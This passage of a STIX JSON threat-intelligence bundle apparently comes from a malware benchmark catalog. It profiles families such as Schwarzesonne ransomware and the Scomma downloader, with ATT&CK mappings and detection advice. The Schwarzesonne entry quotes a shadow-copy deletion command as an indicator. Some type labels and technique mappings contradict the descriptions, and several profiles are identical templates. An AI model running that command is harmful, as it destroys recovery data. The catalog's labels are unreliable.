      "description": "Schoolbus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a64fa866-ef67-53a0-a0fd-a3bf51daac19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--475e99cf-98a0-5b5f-9f9c-1f518a8a9ddc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolbus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d6cf8ff-84e2-54d2-ab38-6350be099c20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--475e99cf-98a0-5b5f-9f9c-1f518a8a9ddc",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolbus exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--24ceeb5b-3097-533b-ba11-909cb8f2fc58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Schoolgirl",
      "description": "Worm:Win32/Schoolgirl is a historic, self-propagating worm from the early-to-mid 2000s that gained prevalence through primitive social engineering and the abuse of peer-to-peer (P2P) file-sharing networks (like Kazaa and eDonkey) and early Instant Messaging protocols. Its primary objective was rapid, viral propagation to drop secondary payloads (often adware or generic trojans) onto victim machines.<br><br><b>Understanding the Schoolgirl Worm</b><br>To an infected user, the computer might seem fine initially, but they would soon notice an overwhelming amount of pop-up ads, or their friends would report receiving strange files from them. For security analysts, Schoolgirl represents the era of mass-mailing and P2P worms, where malware relied entirely on tricking users into executing files with enticing, often sexually explicit names (hence the name 'Schoolgirl').<br><br><b>Propagation and P2P Mechanics</b><br>The infection cycle begins when a victim downloads what they believe to be a video or image file from a P2P network (`T1204.002`). The file is actually the Schoolgirl executable, often disguised with a double extension (e.g., `video.avi.exe`) (`T1036.004`). Upon execution, it establishes persistence via Registry Run keys (`T1547.001`). The worm's core propagation mechanism involves copying itself into the shared upload directories of installed P2P software (like the `My Shared Folder` in Kazaa) and giving itself hundreds of highly searched, enticing filenames (`T1083`). When other users search the P2P network, they download the worm from the infected machine. It also attempts to mail copies of itself to addresses found in the Windows Address Book (`T1534`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was severe network congestion on P2P protocols and the deployment of secondary adware. The most glaring IoC is the presence of hundreds of executable files with random, enticing names appearing in the user's P2P shared folders. Host-based IoCs include EDR alerts for the creation of randomly named executables in the Windows System directory and unauthorized SMTP traffic originating from the endpoint (as it attempts to mass-mail itself). (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Schoolgirl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/schoolgirl"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9112da33-0576-54a7-a84e-15481f7955a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ceeb5b-3097-533b-ba11-909cb8f2fc58",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolgirl exhibits technique T1204.002 (User Execution: Malicious File (Double extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fe92380-83ea-5e4e-a20e-768b5de7cf42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ceeb5b-3097-533b-ba11-909cb8f2fc58",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolgirl exhibits technique T1534 (Internal Spearphishing (Propagating via Mass-Mailing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39028f4b-4bab-5f5b-9113-32aa840bd67a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ceeb5b-3097-533b-ba11-909cb8f2fc58",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolgirl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--833e7b07-5824-5df4-b391-6a3b95890d1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ceeb5b-3097-533b-ba11-909cb8f2fc58",
      "target_ref": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolgirl exhibits technique T1036.004 (Masquerading: Masquerade Task or Service (Fake filenames in P2P folders))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e198f00e-8002-538c-b524-4895e9e6adfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Schwarzesonne",
      "description": "Ransom:Win32/Schwarzesonne (or Trojan:Win32/Schwarzesonne) is a severe threat generally classified as Ransomware or a highly destructive Trojan. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension to the files, and demanding payment in cryptocurrency for the decryption key. Some variants associated with this family are known to be purely destructive 'wipers', destroying data without offering a real decryption mechanism.<br><br><b>Understanding Schwarzesonne</b><br>To an end-user, a Schwarzesonne infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Schwarzesonne is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, it executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using robust encryption algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Schwarzesonne",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/schwarzesonne"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56d94d7d-4377-5d26-a2b9-b2d935e115b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e198f00e-8002-538c-b524-4895e9e6adfb",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schwarzesonne exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70296038-e0d3-5af1-9f8e-0ca68d9c4eac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e198f00e-8002-538c-b524-4895e9e6adfb",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schwarzesonne exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d3d39f9-a2c3-5b35-bdb3-09bb00f61958",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e198f00e-8002-538c-b524-4895e9e6adfb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schwarzesonne exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffe7da15-c5a0-50f4-9ac9-0463b16c139c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e198f00e-8002-538c-b524-4895e9e6adfb",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schwarzesonne exhibits technique T1485 (Data Destruction (If acting as a wiper))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da2e1b76-0c0d-5d2b-b717-b34cfbab13d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sciagnij",
      "description": "Adware:Win32/Sciagnij is a Potentially Unwanted Program (PUA) and adware downloader. It typically masquerades as a legitimate download manager or file sharing utility on Polish-language software portals (the name derives from the Polish word for 'download'). Instead of cleanly downloading the requested file, Sciagnij functions as an aggressive Pay-Per-Install (PPI) bundler, intercepting the download process to silently install a payload of browser hijackers, toolbars, and tracking adware alongside the desired software.<br><br><b>Understanding Sciagnij</b><br>To an end-user, Sciagnij is highly deceptive. They believe they are downloading a free game or utility, but the executable they receive is actually the Sciagnij wrapper. For a security operations center (SOC), Sciagnij represents a failure in user education regarding 'Dark Patterns' and safe downloading practices. While not a destructive virus, it introduces numerous unvetted, third-party applications into the enterprise environment.<br><br><b>Execution and Bundling Mechanics</b><br>Sciagnij is distributed via deceptive advertising (`T1189`) on freeware sites. When executed (`T1204.002`), it presents an installation wizard that utilizes confusing UI layouts and pre-checked boxes to gain 'consent' for secondary software installations. Once running, it reaches out to its command-and-control infrastructure (the PPI network) to retrieve the latest payload of adware (`T1105`). It installs rogue Browser Helper Objects (BHOs) (`T1176`), alters the default search engine (`T1185`), and drops multiple tracking cookies. Finally, it may actually download the originally requested file to maintain the illusion of legitimacy.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, compromised browser privacy, and the introduction of potentially vulnerable third-party code. IoCs include EDR alerts for unsigned executables dropping multiple secondary MSIs or EXEs into the `%Temp%` directory. Network logs will show traffic to known Polish or international PPI networks and ad-tracking domains during the installation phase. The presence of newly installed, unknown browser extensions is a key host-based indicator. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sciagnij",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sciagnij"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed2f114f-fac7-5f2c-9901-73fe4a4c2d2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da2e1b76-0c0d-5d2b-b717-b34cfbab13d3",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sciagnij exhibits technique T1189 (Drive-by Compromise (Deceptive download portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fd1999f-156d-5d69-a0f8-d64cc40b0485",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da2e1b76-0c0d-5d2b-b717-b34cfbab13d3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sciagnij exhibits technique T1204.002 (User Execution: Malicious File (Running the deceptive wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24f47af2-2769-5248-8ee2-dc9288c1fc72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da2e1b76-0c0d-5d2b-b717-b34cfbab13d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sciagnij exhibits technique T1105 (Ingress Tool Transfer (Downloading the bundled adware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78acd778-c9df-5ca7-93bb-f5242584f1f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da2e1b76-0c0d-5d2b-b717-b34cfbab13d3",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sciagnij exhibits technique T1176 (Browser Extensions (Installing rogue BHOs))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--58de2742-991f-5b18-83db-87671ab6caf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scomma",
      "description": "<h3>Executive Summary</h3>\nScomma is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nScomma is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Scomma operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Scomma ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Scomma receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Scomma infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Scomma executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Scomma frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Scomma",
        "Downloader.Scomma",
        "Win32/Scomma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scomma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scomma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--921fd64d-f0ec-5797-9f0b-553ec85f3d8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58de2742-991f-5b18-83db-87671ab6caf1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scomma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06299921-d674-5418-9577-635b1dc96249",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58de2742-991f-5b18-83db-87671ab6caf1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scomma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ac11259-5751-50c9-b146-1e0e74ac3423",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58de2742-991f-5b18-83db-87671ab6caf1",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scomma exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fef6937c-4715-5271-95d4-4d3edf3dc98c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scoopy",
      "description": "<h3>Executive Summary</h3>\nScoopy is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nScoopy is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Scoopy operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Scoopy ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Scoopy receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Scoopy infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Scoopy executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Scoopy frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Scoopy",
        "Downloader.Scoopy",
        "Win32/Scoopy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scoopy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scoopy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ca6c24c-0612-5812-9b74-d8b030666b67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fef6937c-4715-5271-95d4-4d3edf3dc98c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scoopy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfaae3d3-51c3-59b0-87a8-540ec63c5cf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fef6937c-4715-5271-95d4-4d3edf3dc98c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scoopy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--196294fe-43ee-5601-bad5-74866a0287f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fef6937c-4715-5271-95d4-4d3edf3dc98c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scoopy exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a59a6c0f-b242-50d6-8206-0f208d2904fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scrami",
      "description": "<h3>Executive Summary</h3>\nScrami is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or info-stealers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nScrami is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Scrami operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Scrami ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Scrami receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Scrami infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Scrami executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Scrami frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Scrami",
        "Downloader.Scrami",
        "Win32/Scrami"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scrami",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scrami"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e67c6eda-2b24-56ed-80f7-471d867e2c34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a59a6c0f-b242-50d6-8206-0f208d2904fc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scrami exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1da1d795-6ea2-52d6-bdc0-76242afe0ec7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a59a6c0f-b242-50d6-8206-0f208d2904fc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scrami exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a34f1e36-f56e-5a89-a983-70ef932e2114",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a59a6c0f-b242-50d6-8206-0f208d2904fc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scrami exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc3772d5-df37-5152-be76-9536570ad15f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scramupx",
      "description": "<h3>Executive Summary</h3>\nScramUPX is a highly specialized malware packing and obfuscation utility. It is designed to take an executable file that has already been compressed with UPX (Ultimate Packer for Executables) and \"scramble\" or alter the UPX header and internal structure. The explicit goal of ScramUPX is to intentionally break standard, automated UPX unpacking routines used by antivirus engines and malware sandboxes, thereby preventing security tools from scanning the underlying malicious payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nScramUPX itself is not malware; it is a tool used by threat actors *before* deployment. If an endpoint security solution detects a file as packed with ScramUPX, it is a highly suspicious indicator that the author went to great lengths to evade detection.\n\nTechnically, ScramUPX operates by manipulating PE headers:\n<ul>\n<li><strong>UPX Evasion:</strong> UPX is a legitimate compression tool, and most AV engines have built-in routines to automatically decompress UPX files for scanning. ScramUPX modifies the UPX \"magic numbers,\" section names, and the decompression stub within the executable.</li>\n<li><strong>Anti-Analysis:</strong> When an AV engine encounters the scrambled file, its automated UPX unpacker fails because the expected structure is invalid. The AV is then forced to scan only the scrambled, compressed data, which rarely matches known malware signatures.</li>\n<li><strong>Execution:</strong> Despite the 